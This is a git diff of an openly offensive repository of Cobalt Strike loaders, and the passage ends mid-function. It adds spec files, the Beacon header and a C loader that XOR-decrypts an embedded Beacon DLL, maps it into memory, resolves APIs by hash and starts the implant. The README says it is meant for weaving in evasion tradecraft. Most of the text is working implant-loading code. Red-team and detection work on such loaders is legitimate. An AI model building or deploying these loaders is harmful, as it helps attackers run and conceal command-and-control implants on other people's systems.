diff --git a/LICENSE b/LICENSE index e159130..86ef638 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Daniel Duggan, Zero-Point Security Ltd +Copyright (c) 2025 Daniel Duggan Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Makefile b/Makefile index 6ce72a0..5259936 100644 --- a/Makefile +++ b/Makefile @@ -1,7 +1,9 @@ all: - cd udrl && make $@ - cd postex-udrl && make $@ + cd loader && make $@ + cd postex && make $@ + cd mask && make $@ clean: - cd udrl && make $@ - cd postex-udrl && make $@ \ No newline at end of file + cd loader && make $@ + cd postex && make $@ + cd mask && make $@ diff --git a/README.md b/README.md index d3b2896..d6d5fea 100644 --- a/README.md +++ b/README.md @@ -1,18 +1,14 @@ # Crystal Loaders -A small collection of [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) PIC loaders designed for use with Cobalt Strike. +This repo contains a couple of PIC loaders and a custom sleepmask COFF for use with Cobalt Strike. They are basic implementations where custom evasion tradecraft must be weaved in using [Crystal Palace](https://tradecraftgarden.org/). -## Setup +## Usage -1. Download the Crystal Palace Release distrubtion. -2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe`. -3. Load `crystalpalace.cna` into Cobalt Strike. -4. Profit. +1. Download the Crystal Palace [Release](https://tradecraftgarden.org/crystalpalace.html) distrubtion. +2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe` (the client). +3. Load `loaders.cna` to use the custom loaders (there are loaders for both Beacon and postex DLLs). +4. Load `mask.cna` to use the custom sleepmask. -## Tradecraft Garden +## Notes -Read more about Crystal Palace and the Tradecraft Garden [here](https://tradecraftgarden.org/). - -### Notes - -1. I've only written for x64. \ No newline at end of file +You can use just the loaders, just the sleepmask, or both together. Each are compatible with the [4.12 BUD](https://github.com/Cobalt-Strike/bof-vs/blob/dd6addd1f9b4bc637b63247d67552709f0c59ddf/BOF-Template/beacon.h) structures, so in theory, you can mix and match these with other custom loaders and sleepmasks (assuming they are also 4.12-compatible). This project is not backwards-compatible with pre-4.12. diff --git a/crystalpalace.cna b/crystalpalace.cna deleted file mode 100644 index 060334a..0000000 --- a/crystalpalace.cna +++ /dev/null @@ -1,76 +0,0 @@ -import crystalpalace.spec.* from: crystalpalace.jar; -import java.util.HashMap; - -# ------------------------------------ -# $1 - Beacon payload file name -# $2 - Beacon payload (dll binary) -# $3 - Beacon architecture (x86/x64) -# ------------------------------------ -set BEACON_RDLL_GENERATE -{ - local('$beacon $arch $spec_path $spec $payload'); - - $beacon = $2; - $arch = $3; - - if ($arch eq "x86") { - warn("x86 not supported, returning default."); - return $null; - } - - $spec_path = getFileProper(script_resource("udrl"), "loader.spec"); - $spec = [LinkSpec Parse: $spec_path]; - $payload = [$spec run: $beacon, [new HashMap]]; - - if (strlen($payload) == 0) { - warn("Failed to build loader, returning default."); - return $null; - } - - return $payload; -} - -# ------------------------------------ -# $1 - Beacon payload file name -# $2 - Beacon architecture (x86/x64) -# ------------------------------------ -set BEACON_RDLL_SIZE { - return "0"; -} - -# ------------------------------------ -# $1 – Post-ex payload file name -# $2 – Post-ex payload (dll binary) -# $3 – Post-ex architecture (x86/x64) -# $4 – parent Beacon ID -# $5 – GetModuleHandle pointer -# $6 – GetProcAddress pointer -# ------------------------------------ -set POSTEX_RDLL_GENERATE -{ - local('$postex $arch $spec_path $spec $hashMap $final'); - - $postex = $2; - $arch = $3; - - if ($arch eq "x86") { - warn("x86 not supported, returning default."); - return $null; - } - - $spec_path = getFileProper(script_resource("postex-udrl"), "loader.spec"); - $spec = [LinkSpec Parse: $spec_path]; - $hashMap = [new HashMap]; - - [$hashMap put: "\$GMH", cast($5, 'b')]; - [$hashMap put: "\$GPA", cast($6, 'b')]; - - $final = [$spec run: $postex, $hashMap]; - - if (strlen($final) == 0) { - warn("Failed to build loader, returning default."); - return $null; - } - - return $final; -} \ No newline at end of file diff --git a/libgate.x64.zip b/libgate.x64.zip deleted file mode 100644 index 461fb23..0000000 Binary files a/libgate.x64.zip and /dev/null differ diff --git a/libtcg.x64.zip b/libtcg.x64.zip index d5a109e..67915a2 100644 Binary files a/libtcg.x64.zip and b/libtcg.x64.zip differ diff --git a/libtcg.x86.zip b/libtcg.x86.zip new file mode 100644 index 0000000..0580ba4 Binary files /dev/null and b/libtcg.x86.zip differ diff --git a/loader/Makefile b/loader/Makefile new file mode 100644 index 0000000..d15d4b8 --- /dev/null +++ b/loader/Makefile @@ -0,0 +1,19 @@ +CC=i686-w64-mingw32-gcc +CC_64=x86_64-w64-mingw32-gcc +CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith + +.PHONY: all x86 x64 clean + +all: x86 x64 + +bin: + mkdir -p bin + +x86: bin + $(CC) -DWIN_X86 $(CFLAGS) -c src/loader.c -o bin/loader.x86.o + +x64: bin + $(CC_64) -DWIN_X64 $(CFLAGS) -c src/loader.c -o bin/loader.x64.o + +clean: + rm -rf bin diff --git a/loader/bin/loader.x64.o b/loader/bin/loader.x64.o new file mode 100644 index 0000000..f77bfaf Binary files /dev/null and b/loader/bin/loader.x64.o differ diff --git a/loader/bin/loader.x86.o b/loader/bin/loader.x86.o new file mode 100644 index 0000000..dafa8fc Binary files /dev/null and b/loader/bin/loader.x86.o differ diff --git a/loader/loader.spec b/loader/loader.spec new file mode 100644 index 0000000..0cf3270 --- /dev/null +++ b/loader/loader.spec @@ -0,0 +1,43 @@ +x86: + generate $KEY 2048 + + load "bin/loader.x86.o" + make pic +gofirst +optimize + + fixptrs "_caller" + + dfr "_resolve" "ror13" + + mergelib "../libtcg.x86.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export + +x64: + generate $KEY 2048 + + load "bin/loader.x64.o" + make pic +gofirst +optimize + + dfr "resolve" "ror13" + + mergelib "../libtcg.x64.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export diff --git a/loader/smart-loader.spec b/loader/smart-loader.spec new file mode 100644 index 0000000..163c370 --- /dev/null +++ b/loader/smart-loader.spec @@ -0,0 +1,49 @@ +x86: + generate $KEY 2048 + + load "bin/loader.x86.o" + make pic +gofirst +optimize + + fixptrs "_caller" + + dfr "_smart_resolve" "strings" + + patch "_pGetModuleHandle" $GMH + patch "_pGetProcAddress" $GPA + + mergelib "../libtcg.x86.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export + +x64: + generate $KEY 2048 + + load "bin/loader.x64.o" + make pic +gofirst +optimize + + dfr "smart_resolve" "strings" + + patch "pGetModuleHandle" $GMH + patch "pGetProcAddress" $GPA + + mergelib "../libtcg.x64.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export diff --git a/loader/src/beacon.h b/loader/src/beacon.h new file mode 100644 index 0000000..9ecc4a3 --- /dev/null +++ b/loader/src/beacon.h @@ -0,0 +1,391 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) + * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11 + * 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12 + * 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12 + * 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12 + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + +DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + +/* Beacon Information */ +/* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ +typedef struct { + char * ptr; + size_t size; +} HEAP_RECORD; +#define MASK_SIZE 13 + +/* Information the user can set in the USER_DATA via a UDRL */ +typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_UDC2_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 +} ALLOCATED_MEMORY_PURPOSE; + +typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 +} ALLOCATED_MEMORY_LABEL; + +typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, +} ALLOCATED_MEMORY_ALLOCATION_METHOD; + +/** +* This structure allows the user to provide additional information +* about the allocated heap for cleanup. It is mandatory to provide +* the HeapHandle but the DestroyHeap Boolean can be used to indicate +* whether the clean up code should destroy the heap or simply free the pages. +* This is useful in situations where a loader allocates memory in the +* processes current heap. +*/ +typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; +} HEAPALLOC_INFO, *PHEAPALLOC_INFO; + +typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; +} MODULESTOMP_INFO, *PMODULESTOMP_INFO; + +typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; +} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; +} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked + DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading +} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; + +typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation +} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; + +typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; +} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; + +/* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ +typedef struct { + unsigned int version; + char * sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char * beacon_ptr; + HEAP_RECORD * heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; +} BEACON_INFO, *PBEACON_INFO; + +DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); + +/* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ +DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); +DECLSPEC_IMPORT void * BeaconGetValue(const char * key); +DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); + +/* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + +typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; +} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; + +DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); +DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); + +/* Beacon User Data functions */ +DECLSPEC_IMPORT char * BeaconGetCustomUserData(); + +/* Beacon System call */ +/* Syscalls API */ +typedef struct +{ + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; +} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; + +typedef struct +{ + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + SYSCALL_API_ENTRY ntQueueApcThread; + SYSCALL_API_ENTRY ntCreateProcess; + SYSCALL_API_ENTRY ntOpenProcessToken; + SYSCALL_API_ENTRY ntTestAlert; + SYSCALL_API_ENTRY ntSuspendProcess; + SYSCALL_API_ENTRY ntResumeProcess; + SYSCALL_API_ENTRY ntQuerySystemInformation; + SYSCALL_API_ENTRY ntQueryDirectoryFile; + SYSCALL_API_ENTRY ntSetInformationProcess; + SYSCALL_API_ENTRY ntSetInformationThread; + SYSCALL_API_ENTRY ntQueryInformationProcess; + SYSCALL_API_ENTRY ntQueryInformationThread; + SYSCALL_API_ENTRY ntOpenSection; + SYSCALL_API_ENTRY ntAdjustPrivilegesToken; + SYSCALL_API_ENTRY ntDeviceIoControlFile; + SYSCALL_API_ENTRY ntWaitForMultipleObjects; +} SYSCALL_API, *PSYSCALL_API; + +/* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ +typedef struct +{ + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; +} RTL_API, *PRTL_API; + +/* Updated in version 4.11 to use the entire structure instead of pointers to the structure. + * This allows for retrieving a copy of the information which would be under the BOF's + * control instead of a reference pointer which may be obfuscated when beacon is sleeping. + */ +typedef struct +{ + SYSCALL_API syscalls; + RTL_API rtls; +} BEACON_SYSCALLS, *PBEACON_SYSCALLS; + +/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ +DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); + +/* Beacon System call functions which will use the current system call method */ +DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); +DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); +DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); +DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); +DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); +DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); +DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); +DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + +/* Beacon Gate APIs */ +DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); + +DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); + +/* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 +*/ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 +typedef struct +{ + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; +} USER_DATA, * PUSER_DATA; diff --git a/loader/src/loader.c b/loader/src/loader.c new file mode 100644 index 0000000..9cd3994 --- /dev/null +++ b/loader/src/loader.c @@ -0,0 +1,164 @@ +#include +#include "beacon.h" +#include "tcg.h" +#include "loader.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT LPVOID WINAPIV MSVCRT$malloc ( size_t ); +DECLSPEC_IMPORT void WINAPIV MSVCRT$free ( LPVOID ); + +__typeof__ ( GetModuleHandleA ) * pGetModuleHandle __attribute__ ( ( section ( ".text" ) ) ); +__typeof__ ( GetProcAddress ) * pGetProcAddress __attribute__ ( ( section ( ".text" ) ) ); + +char __DLLDATA__ [ 0 ] __attribute__ ( ( section ( "dll_data" ) ) ); +char __KEYDATA__ [ 0 ] __attribute__ ( ( section ( "key_data" ) ) ); + +FARPROC resolve ( DWORD mod_hash, DWORD func_hash ) +{ + HANDLE module = findModuleByHash ( mod_hash ); + return findFunctionByHash ( module, func_hash ); +} + +FARPROC smart_resolve ( char * mod_name, char * func_name ) +{ + HANDLE module = pGetModuleHandle ( mod_name ); + + if ( module == NULL ) { + module = LoadLibraryA ( mod_name ); + } + + return pGetProcAddress ( module, func_name ); +} + +#ifdef WIN_X86 +__declspec ( noinline ) ULONG_PTR caller ( VOID ) { return ( ULONG_PTR ) WIN_GET_CALLER ( ); } +#endif + +void go ( ) +{ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( __DLLDATA__ ); + RESOURCE * xor_key = ( RESOURCE * ) GETRESOURCE ( __KEYDATA__ ); + + char * dll_src = MSVCRT$malloc ( masked_dll->length ); + + for ( size_t i = 0; i < masked_dll->length; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ xor_key->value [ i % xor_key->length ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + USER_DATA bud; + ALLOCATED_MEMORY memory; + + memset ( &bud, 0, sizeof ( USER_DATA ) ); + memset ( &memory, 0, sizeof ( ALLOCATED_MEMORY ) ); + + bud.version = 0x041200; + bud.allocatedMemory = &memory; + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE ); + LoadDLL ( &dll_data, dll_src, dll_dst ); + + ALLOCATED_MEMORY_CLEANUP_INFORMATION cleanup_info; + memset ( &cleanup_info, 0, sizeof ( ALLOCATED_MEMORY_CLEANUP_INFORMATION ) ); + + cleanup_info.AllocationMethod = METHOD_VIRTUALALLOC; + cleanup_info.Cleanup = TRUE; + + memory.AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY; + memory.AllocatedMemoryRegions[0].AllocationBase = dll_dst; + memory.AllocatedMemoryRegions[0].RegionSize = SizeOfDLL ( &dll_data ); + memory.AllocatedMemoryRegions[0].Type = MEM_PRIVATE; + memory.AllocatedMemoryRegions[0].CleanupInformation = cleanup_info; + + IMPORTFUNCS funcs; + funcs.GetProcAddress = GetProcAddress; + funcs.LoadLibraryA = LoadLibraryA; + + ProcessImports ( &funcs, &dll_data, dll_dst ); + fix_section_permissions ( &dll_data, dll_dst, &memory.AllocatedMemoryRegions [ 0 ] ); + + DLLMAIN_FUNC dll_main = EntryPoint ( &dll_data, dll_dst ); + + MSVCRT$free ( dll_src ); + + dll_main ( ( HINSTANCE ) NULL, DLL_BEACON_USER_DATA, &bud ); + dll_main ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + dll_main ( ( HINSTANCE ) &go, 4, NULL ); +} + +void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, ALLOCATED_MEMORY_REGION * region ) +{ + DWORD section_count = dll_data->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll_data->OptionalHeader, dll_data->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( size_t i = 0; i < section_count; i++ ) + { + void * section_dst = dll_dst + section_hdr->VirtualAddress; + DWORD section_size = section_hdr->SizeOfRawData; + + DWORD new_protect; + DWORD old_protect; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + region->Sections[i].Label = get_label_from_section_header ( section_hdr ); + region->Sections[i].BaseAddress = section_dst; + region->Sections[i].VirtualSize = section_size; + region->Sections[i].CurrentProtect = new_protect; + region->Sections[i].PreviousProtect = new_protect; + region->Sections[i].MaskSection = TRUE; + + section_hdr++; + } +} + +ALLOCATED_MEMORY_LABEL get_label_from_section_header ( IMAGE_SECTION_HEADER * section_hdr ) +{ + DWORD hash = ror13hash ( 